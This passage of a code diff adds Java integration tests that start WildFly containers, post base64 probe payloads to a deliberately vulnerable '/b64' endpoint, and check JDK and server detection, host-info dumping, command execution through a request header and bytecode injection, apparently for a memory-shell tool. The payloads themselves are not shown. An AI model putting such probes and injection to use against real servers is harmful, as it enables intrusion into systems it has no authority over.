+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java

@@ -0,0 +1,73 @@
+package com.reajason.javaweb.integration.probe.wildfly;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@Slf4j
+@Testcontainers
+public class Wildfly30ContainerTest {
+    public static final String imageName = "quay.io/wildfly/wildfly:30.0.1.Final-jdk17";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|17.0.9|61", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.UNDERTOW, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V17);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V17);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java

@@ -0,0 +1,77 @@
+package com.reajason.javaweb.integration.probe.wildfly;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * <a href="https://hub.docker.com/r/jboss/wildfly/tags">Wildfly - DockerHub</a>
+ * <a href="https://quay.io/repository/wildfly/wildfly?tab=tags">Wildfly - Quay</a>
+ *
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@Slf4j
+@Testcontainers
+public class Wildfly9ContainerTest {
+    public static final String imageName = "jboss/wildfly:10.0.0.Final";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_191|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.UNDERTOW, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
+    }
+}